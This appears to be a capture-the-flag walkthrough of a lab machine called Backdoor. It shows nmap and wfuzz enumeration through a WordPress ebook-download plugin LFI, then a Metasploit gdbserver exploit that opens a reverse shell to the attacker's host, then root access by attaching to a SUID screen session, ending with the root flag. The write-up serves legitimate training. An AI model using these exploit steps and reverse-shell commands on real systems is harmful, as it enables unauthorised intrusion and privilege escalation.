TL;DR
- MetaSploit to exploit CVE on the application
- Exploit misconfigured SUID privilege to root
Enumeration
Nmap
$ nmap $ip -p-Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-22 10:13 +0545Nmap scan report for 10.129.106.30Host is up (0.17s latency).Not shown: 65532 closed tcp ports (conn-refused)PORT STATE SERVICE22/tcp open ssh80/tcp open http1337/tcp open wasteNmap done: 1 IP address (1 host up) scanned in 946.62 secondsWordpress ebook downloader plugin - LFI : exploit-db | 39579
fuzz for info about service running on port 1337 using WFUZZ
$ wfuzz -u 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000 --hh 82********************************************************* Wfuzz 3.1.0 - The Web Fuzzer *********************************************************Target: http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdlineTotal requests: 101=====================================================================ID Response Lines Word Chars Payload=====================================================================000000041: 200 0 L 1 W 100 Ch "940"000000054: 200 0 L 1 W 99 Ch "953"000000059: 200 0 L 12 W 183 Ch "958"000000060: 200 0 L 11 W 181 Ch "959"000000047: 200 0 L 1 W 100 Ch "946"000000046: 200 0 L 1 W 100 Ch "945"000000083: 200 0 L 3 W 128 Ch "982"000000078: 200 0 L 8 W 138 Ch "977"000000084: 200 0 L 1 W 110 Ch "983"000000101: 200 0 L 1 W 85 Ch "1000"000000094: 200 0 L 1 W 109 Ch "993"000000089: 200 0 L 1 W 109 Ch "988"000000095: 200 0 L 1 W 99 Ch "994"000000085: 200 0 L 1 W 91 Ch "984"000000091: 200 0 L 1 W 109 Ch "990"Total time: 2.496964Processed Requests: 101Filtered Requests: 86Requests/sec.: 40.44911Initial access
Using MetaSploit
$ msfconsole -qmsf6 > search gdbMatching Modules================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/gdb/gdb_server_exec 2014-08-24 great No GDB Server Remote Payload Execution 1 exploit/linux/local/ptrace_sudo_token_priv_esc 2019-03-24 excellent Yes ptrace Sudo Token Privilege Escalation
Interact with a module by name or index. For example info 1, use 1 or use exploit/linux/local/ptrace_sudo_token_priv_escmsf6 > use 0[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcpmsf6 exploit(multi/gdb/gdb_server_exec) > set rhost 10.129.106.30rhost => 10.129.106.30msf6 exploit(multi/gdb/gdb_server_exec) > set rport 1337rport => 1337msf6 exploit(multi/gdb/gdb_server_exec) > set lhost tun0lhost => tun0msf6 exploit(multi/gdb/gdb_server_exec) > set lport 80msf6 exploit(multi/gdb/gdb_server_exec) > set payload linux/x64/shell_reverse_tcppayload => linux/x64/shell_reverse_tcpmsf6 exploit(multi/gdb/gdb_server_exec) > run[*] Started reverse TCP handler on 10.10.14.3:80[*] 10.129.106.30:1337 - Performing handshake with gdbserver...[*] 10.129.106.30:1337 - Stepping program to find PC...[*] 10.129.106.30:1337 - Writing payload at 00007ffff7fd0103...[*] 10.129.106.30:1337 - Executing the payload...[*] Command shell session 1 opened (10.10.14.3:80 -> 10.129.106.30:55236 ) at 2021-11-22 11:42:50 +0545iduid=1000(user) gid=1000(user) groups=1000(user)whoamiuserPrivilege Escalation
Misconfigured SUID | SCREEN
$ find / -type f -perm /4000 2>/dev/null/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/eject/dmcrypt-get-device/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/openssh/ssh-keysign/usr/bin/passwd/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/su/usr/bin/sudo/usr/bin/newgrp/usr/bin/fusermount/usr/bin/screen/usr/bin/umount/usr/bin/mount/usr/bin/chsh/usr/bin/pkexec
$ ps -ef | grep -i screenroot 958 946 0 02:17 ? 00:00:05 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; doneroot 1017 1 0 02:17 ? 00:00:00 SCREEN -dmS rootuser 34896 34719 0 05:58 ? 00:00:00 grep -i screenscreen -x root/rootMust be connected to a terminal.script /dev/nullScript started, file is /dev/null
$ screen -x root/rootscreen -x root/root
root@Backdoor:~# whoamiwhoamirootroot@Backdoor:~# cat /root/root.txtcat /root/root.txt5275e6bf9af3a4df290e216f7f92cfb9